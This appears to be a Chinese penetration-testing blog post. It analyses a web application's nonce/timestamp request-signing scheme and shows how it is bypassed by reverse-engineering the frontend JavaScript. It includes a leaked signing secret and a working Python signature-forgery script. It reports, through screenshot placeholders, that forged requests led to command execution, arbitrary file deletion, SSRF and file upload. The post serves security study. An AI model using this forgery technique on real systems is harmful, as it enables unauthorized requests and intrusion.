<
一次验签机制的讨论与伪造绕过
>
上一篇

PHP反序列化漏洞分析与构造
下一篇

log4j<=1.2.17 Socket-反序列化漏洞

一次验签机制的讨论与伪造绕过

背景

在实际资产网站中比较有安全意识的开发,为了防止攻击者获的请求数据包和参数进行伪造和重放,会在每一次请求中加上sig/sign验签机制,来保证请求不会被伪造和重放,确保请求的安全性。

主要防御措施可以归纳为两点:

而sig的核心是参数值防戳改+防二次请求。

nonce方案,加上仅一次有效的随机字符串,如:加密算法MD5/hash(random_string+token+request_param+param+param_value)处理后生成一个一次性有效的字符串值sig,存起来或在集合中,第二次先进行判断若出现相同的sig则认为重放,若放在集合则产生一个问题集合会无限扩大。

timestamp方案,即timestamp和其他参数一起进行数字签名。一次正常的HTTP请求,从发出到达服务器一般都不会超过一个规定的时间范围假设为60s,那么在60s之内也就可以进行重放攻击。

所以现在采用较为安全的方案一般可以是,nonce+timetamp方案,timetamp保证60s之外无法进行重放伪造,nonce又保证了60s之内请求的一次性有效,timetamp下60s后sig失效,同时解决集合无限放大的问题。

但是尽管sig生成机制多么的严密,理论上来说,还是防不了攻击者自己生成sign,因为客户端需要发送合法的数据包,那么生成的算法代码一定会出现在在客户端里(js)中,所以只要得到客户端的sign生成算法仍然存在sign伪造绕过。卸下验签机制的伪装后系统往往存在着许多严重的漏洞。就像下面的案例。

进入主题

最近渗透某系统时发现在前端每一步请求时都会生成一个sig验签机制,来保证请求的数据和提交的请求不可被重放。在验签机制的生成可在前端xxx.js中查看其签名机制的生成原理,即

md5((e.indexOf(“?”) > 0 ? r.objKeySort($.parseJSON(‘{“’ + e.split(“?”)[1].replace(/=/g, ‘”:”’).replace(/&/g, ‘”,”’) + ‘”}’)) : “{}”) + d + sessionStorage.getItem(“token”) + a[“default”].ajaxStr);

如下图

img1

sessionStorage.getItem(“token”)为jwt token固定且已知,d为6位生成的随机字符串(也可忽略可在下一次重新生成一个)r为doOutput->this传入的对象t

im2

img3

t为用户请求的功能接口可控。

用objKeySort如下图解析接口提交的data数据将等于号替换成冒号等操作转化为json格式然后按照键进行排序得到新的json数据。

img4

只有一个a[“default”].ajaxStr未知,但该参数值也为一个固定值,

img5

img6

在这种情况下若a[“default”].ajaxStr参数被泄露,攻击者可根据构造的数据包重新伪造一个签名进行重放,如下删除请求,后台代码中对参数并未进行过滤直接拼接进行任意文件操作,

img7

对应后端代码,存在任意文件删除,若签名伪造成功则可完成攻击。

img8

,代码多处存在问题,因此ajaxStr若能够在前台泄露则可造成在验签机制被伪造绕过的情况下系统的多处漏洞(使用到的危险函数未过滤)被触发的风险。

根据客户端中以上js中验签机制生成算法流程可以得到:

sig=md5({“param”:”value”}+random_string+token+ajaxStr)

卸下sig伪装

抓取一个请求包

img9

token=

img11

调试js,获取ajaxstr

img10

ajaxStr=”f%>zDq&6XqiY”

得到

sig=md5({“param”:”value”}+random_string+token+ajaxStr)

中各参数的值

img12

img13

根据客户端js的验签机制生成算法python进行复现及伪造

img14

sig伪造exp

import random
import string
import json
import time
import hashlib

def parseJSON(dataStr):
	strJSON="{'"+dataStr.replace("=","':'").replace("&","','")+"'}"
	return strJSON
def objKeySort(json_str):
	SortJson=json.dumps(eval(json_str),sort_keys=True)
	print(SortJson)
	print(type(SortJson))
	return SortJson
a = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]

#token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN1cGVybWFuIiwiaWF0IjoxNTc4OTA2Mzk3LCJpcGFkZHIiOiIxOTIuMTY4Ljg2LjIzMiIsImxvZyI6MTU3ODkwNjM5MSwidWlkIjoiIn0.OE9DEe2qS6p1eQeXXxGoUTfjMQZn3E8Ni73V2BIcc5Y";
token=''

if token=='':
	token=input("请输入token:")
	dataStr=''

if dataStr=='':
	dataStr=input("请输入提交的数据:")
jsonStr=parseJSON(dataStr)
print("Sort前-JSON:"+jsonStr+'\n')
objKeySort_JSON=objKeySort(jsonStr).replace(": ",":").replace(", ",",")
print("Sort后-JSON:"+objKeySort_JSON+'\n')
ajaxStr="f%>zDq&6XqiY";
num=''.join(random.sample(a,6));
num1='5WUX51';
#抓包下载
str_sig=str('''{"pcap_name":"pcap_20200113_155745.pcap|test|"}''')+num+token+ajaxStr;
#添加数据
str_sig=objKeySort_JSON+num+token+ajaxStr;

a = hashlib.md5()
a.update(str_sig.encode(encoding='utf-8'))
sig=a.hexdigest()
print("加密的字符串为:"+str_sig+'\n')
print("sig:"+sig+'\n');
print("non:"+num+'\n');
print(dataStr+"&non="+num+"&sig="+sig);

渗透开始

命令执行

img15

任意文件删除

img16

img17

img18

img19

img20

SSRF

img21

任意文件上传

img22

防御

理论上来说,根本防不了攻击者自己生成sign,因为客户端需要发送合法的数据包,那么生成的算法代码一定在客户端里的,所以建议提高攻击难度,对前端js进行混肴加密。

Js混肴加密可参考:

https://github.com/c0ny1/jsEncrypter

进行加密。

Top
Foot